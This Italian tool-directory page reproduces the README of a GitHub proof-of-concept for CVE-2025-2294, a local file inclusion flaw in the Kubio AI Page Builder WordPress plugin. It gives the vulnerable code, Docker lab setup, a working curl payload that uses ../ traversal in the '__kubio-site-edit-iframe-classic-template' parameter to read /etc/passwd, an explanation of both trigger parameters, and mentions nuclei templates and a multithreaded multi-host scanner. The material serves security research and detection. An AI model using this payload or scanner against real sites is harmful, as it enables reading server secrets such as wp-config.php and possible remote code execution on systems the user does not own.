Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/iteride/cve-2025-2294
Scanner di Vulnerabilità WebAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubiteride/cve-2025-2294

CVE-2025-2294

Proof-of-concept exploit per CVE-2025-2294, una vulnerabilità critica LFI nel Kubio AI Page Builder per WordPress. Include uno scanner Python, un template nuclei e un laboratorio Docker per i test.

Vedi Repository
11 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-2294

Introduzione

CVE-2025-2294 è una vulnerabilità critica di tipo Local File Inclusion (LFI) nel plugin Kubio AI Page Builder per WordPress. La vulnerabilità consente a un attaccante remoto non autenticato di trasmettere un parametro appositamente costruito, a causa del quale il plugin può includere un file arbitrario sul server; in presenza di un file PHP includibile, ciò può portare all'esecuzione remota di codice (RCE).

  • Versioni colpite: tutte le versioni del plugin ≤ 2.5.1.
  • CVSS v3.1: 9.8 (Critical).

Scopo del rapporto

  1. Sistematizzare i materiali disponibili e spiegare la natura della vulnerabilità.
  2. Esaminare le condizioni e le configurazioni in cui la vulnerabilità è rilevante.
  3. Mostrare metodi di rilevamento e raccomandazioni per la protezione (senza PoC dettagliati).
  4. Fornire raccomandazioni per la risoluzione e la mitigazione delle conseguenze.

CPE / Identificazione

  • Plugin slug: kubio
  • Percorso: /wp-content/plugins/kubio/
  • Vendor: ExtendThemes / Kubio
  • CPE (esempio): cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*

CWE: CWE-22 — Limitazione impropria di un nome di percorso a una directory ristretta (Path Traversal).


Condizioni di sfruttamento

  • Il plugin Kubio è installato e attivato sul sito.
  • Versione ≤ 2.5.1 (non patchata).
  • Endpoint HTTP(S) pubblico disponibile che accetta il parametro __kubio-site-edit-iframe-classic-template.
  • (Per ottenere RCE) Deve esistere nel sistema un file PHP includibile o un altro percorso verso codice eseguibile (ad esempio, tramite vulnerabilità in altri componenti o permessi errati).

Impatto

  • Lettura di file con segreti (ad esempio, wp-config.php, chiavi private, log).
  • Possibile caricamento/esecuzione di codice arbitrario, modifica del contenuto o inserimento di backdoor.
  • Compromissione del server, possibili interruzioni del sito, cancellazione/cifratura dei dati.
  • La portata del rischio aumenta a causa della diffusione del plugin e della comparsa di PoC/scanner pubblici.

Dettagli tecnici

Il codice vulnerabile è associato alla funzione kubio_hybrid_theme_load_template(), che accede all'array globale $_REQUEST:

root@kitploit:~
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
  • Cosa fa il codice:
  1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — prende il valore direttamente dall'insieme globale di dati di input ($_REQUEST combina $_GET, $_POST, $_COOKIE). Ciò significa che il parametro è controllato da remoto.

  2. Se il parametro è presente ($template_id è vero), il codice chiama locate_template([$template_id]).

  3. locate_template() — un'utilità di WordPress (o un equivalente nel plugin) per cercare template in base al percorso/nome relativo passato. In uno scenario normale, ci si aspetterebbe che vengano passati nomi di file all'interno di una directory di template sicura, ad esempio header.php o template-parts/content.php.

  4. Il valore restituito ($new_template) viene quindi utilizzato — nell'implementazione originale ciò può portare a un include/require del percorso trovato, oppure al passaggio di tale percorso per l'output. Ciò crea una possibilità di LFI: l'attaccante può specificare un percorso verso un file arbitrario.

Esecuzione locale

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
  • Entra nel docker:
root@kitploit:~
docker exec -it <WORDPRESS_DOCKER_ID> bash
  • Scarica e avvia kubio

Dopo l'estrazione, vai su http://localhost:8080/wp-admin/plugins.php e attiva il plugin

root@kitploit:~
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio

POC/Exploit

root@kitploit:~
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

lfi

__kubio-site-edit-iframe-classic-template=<percorso>

Questo parametro passa una stringa che il plugin usa come identificatore/percorso del template.

Nel frammento di codice vulnerabile, il valore viene preso da $_REQUEST e passato a locate_template() senza normalizzazione o limitazione preventiva. Di conseguenza, è possibile un path traversal: se nel valore vengono inserite sequenze ../, il percorso risultante può uscire dalla directory prevista dei template e puntare a qualsiasi file nel filesystem (incluso /etc/passwd).

È proprio questo parametro a trasportare il payload dell'attacco — con il suo aiuto l'attaccante indica il file target.

__kubio-site-edit-iframe-preview=1

Questo è un flag di servizio (modalità anteprima / iframe-edit mode). Commuta l'elaborazione della richiesta nel ramo di codice in cui viene letto e utilizzato il template specificato in __kubio-site-edit-iframe-classic-template.

Senza preview=1 il plugin potrebbe non elaborare il parametro classic-template o usare una logica diversa; con preview=1 viene attivata la logica che consente la lettura e la restituzione del template, rendendo possibile lo sfruttamento.


nuclei-template

1. Template passivo

  • Controlla la versione del plugin tramite il file /wp-content/plugins/kubio/readme.txt.

passive

2. Template attivo

  • Controlla l'output di /etc/passwd

active


Script

Lo script controlla l'output di /etc/passwd ma è molto più veloce di nuclei grazie al multithreading e supporta anche la scansione di più host contemporaneamente

root@kitploit:~
python3 scan.py --target http://localhost:8080

scan

Scarica lo strumento